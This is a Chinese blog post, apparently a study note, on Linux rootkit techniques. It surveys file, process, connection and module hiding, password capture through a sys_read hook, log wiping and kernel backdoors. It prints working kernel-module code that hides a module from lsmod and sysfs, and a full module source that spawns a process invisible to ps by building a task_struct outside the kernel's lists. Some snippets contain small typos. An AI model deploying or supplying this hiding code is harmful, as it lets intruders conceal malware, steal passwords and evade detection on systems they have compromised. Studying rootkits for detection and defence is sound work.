zoukankan      html  css  js  c++  java
  • Rootkit学习

    Rootkit介绍:

      Rootkits是linux/unix获取root权限之后使得攻击者可以隐藏自己的踪迹和保留root访问权限的神器,通常攻击者使用 rootkit的检查系统查看是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息,通过rootkit的嗅探器还可以获得其他系统的用户和密码

      Intel的x86处理器是通过Ring级别来进行访问控制的,级别共分4层,从Ring0到Ring3(后面简称R0、R1、R2、R3)。R0层拥有最高的权限,R3层拥有最低的权限。按照Intel原有的构想,应用程序工作在R3层,只能访问R3层的数据;操作系统工作在R0层,可以访问所有层的数据;而其他驱动程序位于R1、R2层,每一层只能访问本层以及权限更低层的数据。 这应该是很好的设计,这样操作系统工作在最核心层,没有其他代码可以修改它;其他驱动程序工作在R1、R2层,有要求则向R0层调用,这样可以有效保障操作系统的安全性。但现在的OS,包括Windows和Linux都没有采用4层权限,而只是使用2层——R0层和R3层,分别来存放操作系统数据和应用程序数据,从而导致一旦驱动加载了,就运行在R0层,就拥有了和操作系统同样的权限,可以做任何事情,而所谓的rootkit也就随之而生了。实际上,所有的内核代码都拥有根权限,当然,并不一定它们都叫做rootkit,这要看你用它来做什么。R3层的rootkit通过文件完整性检测较容易发现

    R0层拥有最高的权限,R3层拥有最低的权限。按照Intel原有的构想,应用程序工作在R3层,只能访问R3层的数据;操作系统工作在R0层,可以访问所有层的数据;而其他驱动程序位于R1、R2层

    rootkit的常见功能:

    隐藏文件:通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的,因此可以通过修改sys_getdents64系统调用或者更底层的 readdir实现隐藏文件及目录,还有对ext2文件系统直接进行修改的方法,不过实现起来不够方便,也有一些具体的限制。

    隐藏进程:隐藏进程的方法和隐藏文件类似,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果,即hook sys_getdents64和readdir等。

    隐藏连接:netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。

    隐藏模块:lsmod命令主要是通过sys_query_module系统调用获得模块信息,可以通过hook sys_query_module系统调用隐藏模块,也可以通过将模块从内核模块链表中摘除从而达到隐藏效果。

    嗅探工具:嗅探工具可以通过libpcap库直接访问链路层,截获数据包,也可以通过linux的netfilter框架在IP层的hook点上截获数据包。嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式,这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的,查看网卡的当前模式是通过SIOCGIFFLAGS命令,因此可以通过hook sys_ioctl隐藏网卡的混杂模式。

    密码记录:密码记录可以通过hook sys_read系统调用实现,比如通过判断当前运行的进程名或者当前终端是否关闭回显,可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能。

    日志擦除:传统的unix日志主要在/var/log/messages,/var/log/lastlog,/var/run/utmp,/var /log/wtmp下,可以通过编写相应的工具对日志文件进行修改,还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息。

    内核后门:可以是本地的提权后门和网络的监听后门,本地的提权可以通过对内核模块发送定制命令实现,网络内核后门可以在IP层对进入主机的数据包进行监听,发现匹配的指定数据包后立刻启动回连进程。

    rootkit的主要技术:

    lkm注射:也是一种隐藏内核模块的方法,通过感染系统的lkm,在不影响原有功能的情况下将rootkit模块链接到系统lkm中,在模块运行时获得控制权,初始化后调用系统lkm的初始化函数,lkm注射涉及到elf文件格式与模块加载机制。

    模块摘除:主要是指将模块从模块链表中摘除从而隐藏模块的方法,最新加载的模块总是在模块链表的表头,因此可以在加载完rootkit模块后再加载一个清除模块将rootkit模块信息从链表中删除,再退出清除模块,新版本内核中也可以通过判断模块信息后直接list_del。

    拦截中断:主要通过sidt指令获得中断调用表的地址,进而获取中断处理程序的入口地址,修改对应的中断处理程序,如int 0x80,int 0x1等。其中拦截int 0x1是较新的技术,主要利用系统的调试机制,通过设置DR寄存器在要拦截的内存地址上下断点,从而在执行到指定指令时转入0x1中断的处理程序,通过修改0x1中断的处理程序即可实现想要的功能。

    劫持系统调用:和拦截中断类似,但主要是对系统调用表进行修改,可以直接替换原系统调用表,也可以修改系统调用表的入口地址。在2.4内核之前,内核的系统调用表地址是导出的,因此可以直接对其进行修改。但在2.6内核之后,系统调用表的地址已经不再导出,需要对0x80中断处理程序进行分析从而获取系统调用表的地址。

    运行时补丁:字符设备驱动程序和块设备驱动程序在加载时都会向系统注册一个Struct file_operations结构实现指定的read、write等操作,文件系统也是如此,通过修改文件系统的file_operations结构,可以实现新的read、write操作等。

    inline hook:主要是指对内存中的内核函数直接修改,而不影响原先的功能,可以采用跳转的办法,也可以修改对下层函数的call offset实现。

    端口反弹:主要是为了更好的突破防火墙的限制,可以在客户端上监听80端口,而在服务器端通过对客户端的80端口进行回连,伪装成一个访问web服务的正常进程从而突破防火墙的限制。

    LKM的编码学习(隐藏模块

    正常的ko文件

    #include <linux/init.h>  
    #include <linux/kernel.h>  
    #include <linux/module.h>  
    
    static int hello_init(void) 
    {  
        printk("Hello world.
    ");  
        return 0;  
    } 
    
    
    static void hello_exit(void)
    {  
        printk("Goodbye world.
    ");  
        return;  
    }  
    
    module_init(hello_init);  
    module_exit(hello_exit); 
    
    
    MODULE_LICENSE("GPL");  
    MODULE_AUTHOR("fly"); 
    1 obj-m:=helloworld.o   
    2 KDIR:=/lib/modules/5.4.0-21-generic/build  
    3 MAKE:=make  
    4 default5     $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules  
    6 clean:
    7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

    如何改成隐藏模块

    1)隐藏打印信息

      在LKM中,是无法依赖于我们平时使用的C库的,模块仅仅被链接到内核,只可以调用内核所导出的函数,不存在可链接的函数库。这是内核编程与我们平时应用程序编程的不同之一。printk()函数将内容纪录在系统日志文件里,当然我们也可以用printk()将信息输出至控制台

    2)从lsmod命令中隐藏我们的模块

      对于rootkit来说,隐蔽性是非常重要的,一个lsmod命令就可以让我们的lkm遁形,这显然谈不上隐蔽。对于dmesg命令,我们只要删除掉printk()函数就好,这个函数所起的仅仅是示范作用。但是如何让lsmod命令无法显示我们的模块呢?

    lsmod解释:
    lsmod命令是通过/proc/modules来获取当前系统模块信息的。而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、
    从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时,
    模块便与一个 struct module结构体相关联,并成为内核的一部分,所有的内核模块都被维护在一个全局链表中,链表头是一个全局变量struct module *modules。任何一个新创建的模块,
    都会被加入到这个链表的头部,通过modules->next即可引用到

    为了让我们的模块在lsmod命令中的输出里消失掉,我们需要在这个链表内删除我们的模块:

    list_del_init(&__this_module.list);

    将"list_del_init(&__this_module.list);"加入到我们的初始化函数中,保存,编译,装载模块,再lsmod

    3)从sysfs中隐藏我们的模块

    除了lsmod命令和相对应的查看/proc/modules以外,我们还可以在sysfs中,也就是通过查看/sys/module/目录来发现现有的模块

    解决方案:

    kobject_del(&THIS_MODULE->mkobj.kobj);
    kobj是一个struct kobject结构体,而kobject是组成设备模型的基本结构。这时我们又要简单介绍下sysfs这个概念,sysfs是一种基于ram的文件系统,它提供了一种用于向用户空间展现内核空间里的对象、
    属性和链接的方法。sysfs与kobject层次紧密相连,它将kobject层次关系表现出来,使得用户空间可以看见这些层次关系。通常,sysfs是挂在在/sys目录下的,而/sys/module是一个sysfs的一个目录层次,
    包含当前加载模块的信息. 我们通过kobject_del()函数删除我们当前模块的kobject就可以起到在/sys/module中隐藏lkm的作用。

    隐形进程编码学习(隐藏进程

    目标:

    ps 查看不到进程

    1)将task从tasks链表摘除
    2)将task从pid链表摘除

    设计思想:

    我们都知道每个进程都有一个task_struct存放进程信息,task_struct是从kmem cache中分配的,而kmem cache是slab统一管理的,将task从各类链表摘除让该task脱离管制,task所属的链表可以随意摘除,但是task出生的场所却不可改变,

    1、kmem_cache_alloc_node的作用
    通过这段代码可以看出,它调用了kmem_cache_alloc_node函数,在task_struct的缓存区域task_struct分配了一块内存
    
    static struct kmem_cache *task_struct_cachep;
     
    task_struct_cachep = kmem_cache_create("task_struct",
                arch_task_struct_size, align,
                SLAB_PANIC|SLAB_NOTRACK|SLAB_ACCOUNT, NULL);
     
    static inline struct task_struct *alloc_task_struct_node(int node)
    {
        return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
    }
     
    static inline void free_task_struct(struct task_struct *tsk)
    {
        kmem_cache_free(task_struct_cachep, tsk);
    }
    1、在系统初始化的时候,task_struct_cachep 会被 kmem_cache_create 函数创建。
    2、这个函数也比较容易看懂、专门用于分配 task_struct 对象的缓存。这个缓存区的名字就叫 task_struct。
    3、缓存区中每一块的大小正好等于 task_struct 的大小,也即 arch_task_struct_size。
    
    1、kmem_cache_alloc_node函数的作用?
    1、有了这个缓存区,每次创建task_struct的时候,我们就不用到内存里面去分配,先在缓存里面看看有没有直接可用的,这就是kmem_cache_alloc_node的作用
    
    2、kmem_cache_free的作用
    当一个进程结束,task_struct 也不用直接被销毁,而是放回到缓存中,这就是kmem_cache_free的作用,
    
    这样,新进程创建的时候,我们就可以直接用现成的缓存中的task_struct了
    
    2、缓存区struct kmem_cache到底是什么样子
    struct kmem_cache {
        struct kmem_cache_cpu __percpu *cpu_slab;
        /* Used for retriving partial slabs etc */
        unsigned long flags;
        unsigned long min_partial;
        int size;       /* The size of an object including meta data */
        int object_size;    /* The size of an object without meta data */
        int offset;     /* Free pointer offset. */
    #ifdef CONFIG_SLUB_CPU_PARTIAL
        int cpu_partial;    /* Number of per cpu partial objects to keep around */
    #endif
        struct kmem_cache_order_objects oo;
        /* Allocation and freeing of slabs */
        struct kmem_cache_order_objects max;
        struct kmem_cache_order_objects min;
        gfp_t allocflags;   /* gfp flags to use on each alloc */
        int refcount;       /* Refcount for slab cache destroy */
        void (*ctor)(void *);
    ......
        const char *name;   /* Name (only for display!) */
        struct list_head list;  /* List of slab caches */
    ......
        struct kmem_cache_node *node[MAX_NUMNODES];
    };
    3、LIST_HEAD 1、在 struct kemem_cache里面,有个变量struct list_head list,这个结构我们已经看到过多次了 2、我们可以想象一下,对于操作系统来讲,要创建和管理的缓存绝对不止task_struct,难道mm_struct就不需要吗? 3、fs_struct就不需要吗?都需要,因此所有的缓存最后都会放在一个链表里面这就是LIST_HEAD(slab_caches)

    所以创建通过task_struct_cachep来进行, 如果创建一个不被察觉的进程就不能走正常流程

    自己创建进程

    base = kmalloc(2048*3, GFP_KERNEL);
    tsk = (struct task_struct *)(base + 157);

    malloc slab是一个公用的slab池,满足一些常见大小的私有内存的分配需求,但是它也是受slab管理,还是有风险,如果想让task的创建彻底脱离slab的管理,那不妨试试下面的:

    bash = page_address(__alloc_pages(...));
    tsk = (struct task_struct *)(base + 157);

    下面步骤:

    1. 照着copy_process的实现进行最小化代码复制。
    2. 不要复制copy_process的pid管理部分,改为LIST_INIT。
    3. 不要复制copy_process的链表管理部分,改为HLIST_INIT。
    4. 所有的深拷贝对象尽量用__alloc_pages,至少用kmalloc-2x+来分配。
    5. 剩余的空闲内存填充task字段的显著特征值,以混淆视听。
    6. 实在嫌麻烦,那就照抄用kmem_cache_alloc,但会增加被经理抓的风险。
    7. 设置内核线程,并在内核线程中调用do_execve到用户态可执行文件。
    8. wake up新进程。
    9. 新进程尽量不要退出,因为kmem cache不会收容它的尸体

    源码:

      1 #include <linux/module.h>
      2 #include <linux/cred.h>
      3 #include <linux/slab.h>
      4 #include <linux/kallsyms.h>
      5 #include <linux/nsproxy.h>
      6 #include <linux/pid_namespace.h>
      7 #include <linux/random.h>
      8 #include <linux/fdtable.h>
      9 #include <linux/cgroup.h>
     10 #include <linux/sched.h>
     11 
     12 int (*_run_process)(struct filename *file, char **, char **);
     13 struct filename * (*_getname_kernel)(char *name);
     14 
     15 int test_stub2(void)
     16 {
     17     printk("stub pid: %d  at %p
    ", current->pid, current);
     18     if (_run_process) {
     19         int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
     20         printk("result:%d
    ", r);
     21     }
     22     current->parent = current;
     23     current->real_parent = current;
     24     // kernel thread要返回用户态,才能达到exec到新task的效果。
     25     // 但是记住,exit的时候,直接schedule掉即可,记住把它的parent设置成它自己。
     26     // 否则,其parent会wait并尝试free掉隐藏task,这会导致内存状态异常。
     27     return 0;
     28 }
     29 
     30 int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
     31 int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
     32 void (*_wake_up_new_task)(struct task_struct *);
     33 void (*_sched_fork)(unsigned long, struct task_struct *);
     34 struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
     35 struct files_struct * (*_dup_fd)(struct files_struct *, int *);
     36 struct pid * (*_alloc_pid)(struct pid_namespace *ns);
     37 enum hrtimer_restart (*_it_real_fn)(struct hrtimer *timer);
     38 
     39 static int __init private_proc_init(void)
     40 {
     41     unsigned char *base;
     42     struct task_struct *tsk;
     43     struct thread_info *ti;
     44     struct task_struct *orig = current;
     45     unsigned long *stackend;
     46     struct pid_link *link;
     47     struct hlist_node *node;
     48     struct sighand_struct *sig;
     49     struct signal_struct *sign;
     50     struct cred *new;
     51     struct pid *pid = NULL;
     52     int type, err = 0;
     53 
     54     _arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
     55     _sched_fork = (void *)kallsyms_lookup_name("sched_fork");
     56     _copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
     57     _dup_fd = (void *)kallsyms_lookup_name("dup_fd");
     58     _run_process = (void *)kallsyms_lookup_name("do_execve");
     59     _getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
     60     _it_real_fn =  (void *)kallsyms_lookup_name("it_real_fn");
     61     _alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
     62     _copy_thread = (void *)kallsyms_lookup_name("copy_thread");
     63     _wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");
     64 
     65     base = (unsigned char *)kmalloc(4096, GFP_KERNEL);
     66     tsk = (struct task_struct *)(base + 157);
     67     _arch_dup_task_struct(tsk, orig);
     68     base = (unsigned char *)kmalloc(sizeof(struct thread_info) + 17, GFP_KERNEL);
     69     ti = (struct thread_info *)(base);
     70     tsk->stack = ti;
     71     *task_thread_info(tsk) = *task_thread_info(orig);
     72     task_thread_info(tsk)->task = tsk;
     73     stackend = end_of_stack(tsk);
     74     *stackend = 0x57AC6E9D;
     75     tsk->stack_canary = get_random_int();
     76 
     77     clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
     78     clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED );
     79     // 避免wait释放kmalloc的内存到特定slab,引用计数设置为2
     80     atomic_set(&tsk->usage, 2);
     81     tsk->splice_pipe = NULL;
     82     tsk->task_frag.page = NULL;
     83     memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));
     84 
     85     raw_spin_lock_init(&tsk->pi_lock);
     86     plist_head_init(&tsk->pi_waiters);
     87     tsk->pi_blocked_on = NULL;
     88 
     89     rcu_copy_process(tsk);
     90     tsk->vfork_done = NULL;
     91     spin_lock_init(&tsk->alloc_lock);
     92     init_sigpending(&tsk->pending);
     93 
     94     seqlock_init(&tsk->vtime_seqlock);
     95     tsk->audit_context = NULL;
     96 
     97     _sched_fork(0, tsk);
     98 
     99     tsk->mm = NULL;
    100     tsk->active_mm = NULL;
    101     memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
    102     mutex_init(&tsk->perf_event_mutex);
    103     INIT_LIST_HEAD(&tsk->perf_event_list);
    104 
    105     new = prepare_creds();
    106     if (new->thread_keyring) {
    107         key_put(new->thread_keyring);
    108         new->thread_keyring = NULL;
    109     }
    110     key_put(new->process_keyring);
    111     new->process_keyring = NULL;
    112     atomic_inc(&new->user->processes);
    113     tsk->cred = tsk->real_cred = get_cred(new);
    114     validate_creds(new);
    115 
    116     tsk->fs = _copy_fs_struct(current->fs);
    117     tsk->files = _dup_fd(current->files, &err);
    118     base = kmalloc(sizeof(struct sighand_struct) + 13, GFP_KERNEL);
    119     // 奇数地址
    120     sig = (struct sighand_struct *)(base + 3);
    121     // 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
    122     atomic_set(&sig->count, 2);
    123     memcpy(sig->action, current->sighand->action, sizeof(sig->action));
    124 
    125     base = kmalloc(sizeof(struct signal_struct) + 15, GFP_KERNEL);
    126     sign = (struct signal_struct *)(base + 7);
    127     sign->nr_threads = 1;
    128     // 避免do_exit释放kmalloc的内存到特定slab,引用计数设置为2
    129     atomic_set(&sign->live, 2);
    130     atomic_set(&sign->sigcnt, 2);
    131     sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
    132     tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
    133     init_waitqueue_head(&sign->wait_chldexit);
    134     sign->curr_target = tsk;
    135     init_sigpending(&sign->shared_pending);
    136     INIT_LIST_HEAD(&sign->posix_timers);
    137     seqlock_init(&sign->stats_lock);
    138     memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);
    139 
    140     tsk->cgroups = current->cgroups;
    141     atomic_inc(&tsk->cgroups->refcount);
    142     INIT_LIST_HEAD(&tsk->cg_list);
    143 
    144     // 设置堆栈以及入口
    145     tsk->flags |= PF_KTHREAD;
    146     // 我们用一个kernel thread stub来exec到用户态的binary。
    147     _copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
    148     tsk->clear_child_tid = NULL;
    149     tsk->set_child_tid = NULL;
    150 
    151     // 伪造身份证明
    152     pid = kmalloc(sizeof(struct pid), GFP_KERNEL);
    153     pid->level = current->nsproxy->pid_ns->level;
    154     pid->numbers[0].nr = 0xffff;
    155     pid->numbers[0].ns = current->nsproxy->pid_ns;
    156     for (type = 0; type < PIDTYPE_MAX; ++type)
    157         INIT_HLIST_HEAD(&pid->tasks[type]);
    158     atomic_set(&pid->count, 2);
    159 
    160     // 进程管理结构自吞尾
    161     INIT_LIST_HEAD(&tsk->ptrace_entry);
    162     INIT_LIST_HEAD(&tsk->ptraced);
    163     atomic_set(&tsk->ptrace_bp_refcnt, 1);
    164     tsk->jobctl = 0;
    165     tsk->ptrace = 0;
    166     tsk->pi_state_cache = NULL;
    167     tsk->group_leader = tsk;
    168     INIT_LIST_HEAD(&tsk->thread_group);
    169     tsk->pid = pid_nr(pid);
    170     INIT_LIST_HEAD(&tsk->pi_state_list);
    171     INIT_LIST_HEAD(&tsk->tasks);
    172     INIT_LIST_HEAD(&tsk->children);
    173     INIT_LIST_HEAD(&tsk->sibling);
    174 
    175     // 进程组织自吞尾
    176     tsk->pids[PIDTYPE_PID].pid = pid;
    177     link = &tsk->pids[PIDTYPE_PID];
    178     node = &link->node;
    179     INIT_HLIST_NODE(node);
    180     node->pprev = &node;
    181 
    182     // 来吧!
    183     _wake_up_new_task(tsk);
    184 
    185     return -1; // oneshot,并非真正加载模块
    186 }
    187 
    188 static void __exit private_proc_exit(void)
    189 {
    190 }
    191 
    192 module_init(private_proc_init);
    193 module_exit(private_proc_exit);
    194 MODULE_LICENSE("GPL");

    测试程序:

    1 #include <fcntl.h>
    2 int main(int argc, char **argv)
    3 {
    4     int fd = open("/dev/pts/0", O_RDWR);
    5     while (1) {
    6         write(fd, "test
    ", 10);
    7         sleep(1);
    8     }
    9 }

    参考文献:

    Linux系统创建系统侦测不到的隐形进程(Rootkit技术必备)

    https://www.freebuf.com/articles/system/54263.html

    https://github.com/ivyl/rootkit

    https://www.freebuf.com/articles/network/23665.html

  • 相关阅读:
    Java Thread wait, notify and notifyAll Example
    Life Cycle of Thread – Understanding Thread States in Java
    Handle源码分析,深入群内了解风骚的Handle机制
    Android组件间交互
    虚拟化M搭建及基本操作
    双心跳线
    Linux集群存储配置
    在linux系统上怎么获取命令的帮助信息及man文档划分
    Linux发行版的基础目录名称、命名法则及功能规定
    hwclock详解
  • 原文地址:https://www.cnblogs.com/mysky007/p/12907633.html
Copyright © 2011-2022 走看看